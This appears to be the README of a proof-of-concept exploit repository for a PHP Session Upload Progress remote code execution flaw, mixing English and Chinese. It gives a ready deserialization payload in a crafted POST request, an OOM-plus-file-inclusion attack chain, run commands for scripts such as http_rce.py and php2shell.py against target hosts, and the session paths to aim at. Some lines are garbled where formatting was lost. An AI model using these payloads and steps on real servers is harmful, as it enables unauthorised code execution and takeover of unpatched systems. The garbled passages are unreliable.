
CVE-2026-109619 — PHP Session Upload Progress → RCE PoC
Exploiting multiple attack paths in the PHP Session Upload Progress mechanism to achieve remote code execution.
| Path | Core Principle | Number of Vulnerabilities | Prerequisites | HTTP only |
|---|---|---|---|---|
| Deserialization Injection | session key pipe injection → deserialization → __wakeup | 1 | gadget class + memchr bypass | ✓ |
| OOM + LFI/.htaccess | OOM preserves session → include execution | 2 | LFI or .htaccess + post_max_size ≥ memory_limit | ✓ |
| GDB Memory Hijacking | UAF → forged struct → control flow hijacking | 1 | SSH + GDB + debug symbols | ✗ |
The value of PHP_SESSION_UPLOAD_PROGRESS is concatenated directly into the session key without sanitization.
Injecting a pipe | splits the php session serializer format, implanting an arbitrary serialized object.
POST /any.php HTTP/1.1
Cookie: PHPSESSID=<32hex>
Content-Type: multipart/form-data
PHP_SESSION_UPLOAD_PROGRESS = |O:13:"Gadget":1:{s:3:"cmd";s:2:"id";}
file = (any data)
→ session decode → __wakeup() → system("id") → RCE
Single HTTP request, no OOM required, no LFI required.
PHP 8.x's session encode has a memchr protection that blocks | in keys, requiring a binary patch to bypass.
PHP 7.x does not have this protection.
Technical details → deser-inject.md
Successfully verified on two completely different environments:
| Target A | Target B | |
|---|---|---|
| OS | Ubuntu 24.04 | CentOS 7 |
| PHP | 8.4.26 | 7.4.33 |
| Apache | 2.4.58 | 2.4.6 |
| Protocol | HTTP | HTTPS |
| Session path | /var/lib/php/sessions/ | /var/lib/php/session/ |
| Inclusion method | .htaccess auto_prepend_file | LFI (reader.php) |
| Result | uid=33(www-data) | uid=48(apache) |
The same OOM primitive requires no memory addresses, no GDB, and no debug symbols, and can be triggered across PHP 7.x / 8.x and across operating systems.
Patched in PHP 8.4.27 / 8.3.36 / 8.2.35 (2026-10-21); PHP 7.x has no official patch.
攻擊者 ──POST──▶ PHP (multipart + session upload progress)
│
├─ filename 中的 PHP 程式碼寫入 session 檔案
├─ POST body 超過 memory_limit → OOM
├─ OOM 阻止 session RSHUTDOWN → 檔案不被清除
│
攻擊者 ──GET───▶ 第二個漏洞 include session 檔案 → RCE
memory_limit → OOM occurs during the sapi_activate() phase, and session RSHUTDOWN is not executed<?php tagNecessary conditions for triggering OOM: post_max_size ≥ memory_limit
| Configuration | OOM |
|---|---|
post_max_size=8M, memory_limit=128M (PHP defaults) | ✗ |
post_max_size=256M, memory_limit=128M (raised by administrator) | ✓ |
.htaccess overrides memory_limit / post_max_size | ✓ |
Technical details (sapi_activate interrupt path, session write mechanism, file format) → oom-exploit.md
Does not rely on a second vulnerability; instead, uses GDB to forge structures in memory and hijack control flow. Requires SSH + sudo + GDB + debug symbols.
Technical details → gdb-exploit.md
| Script | Route | Prerequisites | Description |
|---|---|---|---|
http_rce.py | Deser Injection | gadget class + memchr bypass | Pure HTTP single vulnerability, single-request RCE |
php2shell.py | OOM + LFI | Target has an LFI vulnerability | Pure HTTP dual vulnerability, no memory addresses required |
test_http.py | OOM + auto_prepend | .htaccess already placed, post_max_size ≥ memory_limit | .htaccess sets auto_prepend_file |
test_default_http.py | OOM + auto_prepend | .htaccess already placed, Apache AllowOverride All | .htaccess overrides all settings, stock php.ini is sufficient |
test_oom.py | OOM-only test | post_max_size ≥ memory_limit | Only verifies whether OOM is triggered |
test_gdb.py | GDB memory hijacking | SSH + GDB + debug symbols | Single vulnerability, see gdb-exploit.md for details |
python3 http_rce.py "id"
python3 http_rce.py "uname -a; whoami"
Modify the top-level settings TARGET, GADGET_CLASS, etc. in http_rce.py.
Technical details → deser-inject.md
1. POST multipart → OOM → session 檔案保留(含 PHP code)
2. GET /vuln.php?file=/var/lib/php/session/sess_<SID> → include → RCE
TARGET_HOST=10.0.0.1 TARGET_PORT=443 python3 php2shell.py
1. .htaccess 設定 auto_prepend_file 指向 session 檔案(事先放置)
2. POST multipart → OOM → session 檔案保留(含 PHP code)
3. GET /any.php → Apache 自動 prepend session 檔案 → RCE
php.ini has been adjusted (post_max_size > memory_limit):
TARGET_HOST=10.0.0.1 python3 test_http.py
stock php.ini (.htaccess overrides both memory_limit and post_max_size):
TARGET_HOST=10.0.0.1 python3 test_default_http.py
| Variable | Default Value | Description |
|---|---|---|
TARGET_HOST | 127.0.0.1 | Target IP or hostname |
TARGET_PORT | 80 or 443 | HTTP/HTTPS port |
SESSION_PATH | /var/lib/php/sessions | Session file directory |
CMD | id | Command to execute |
Session paths vary by distribution: Debian/Ubuntu /var/lib/php/sessions/, CentOS/RHEL /var/lib/php/session/, fallback /tmp/.
├── http_rce.py ← Deser Injection → 純 HTTP 單漏洞 RCE ★
├── php2shell.py ← OOM + LFI → RCE
├── test_http.py ← OOM + .htaccess → RCE(需調 php.ini)
├── test_default_http.py ← OOM + .htaccess → RCE(stock php.ini)
├── test_oom.py ← OOM 觸發測試
├── test_gdb.py ← GDB 記憶體劫持 → RCE
├── README.md
├── deser-inject.md ← Deserialization Injection 技術細節
├── oom-exploit.md ← OOM 技術細節
├── gdb-exploit.md ← GDB 路線技術細節
http_rce.py): PHP 8.x requires a binary patch to bypass the memchr protection; requires a usable deserialization gadget classphp2shell.py): requires an LFI vector to exist on the targettest_http.py, test_default_http.py): requires .htaccess to already be in the web root and Apache AllowOverride Allpost_max_size ≥ memory_limit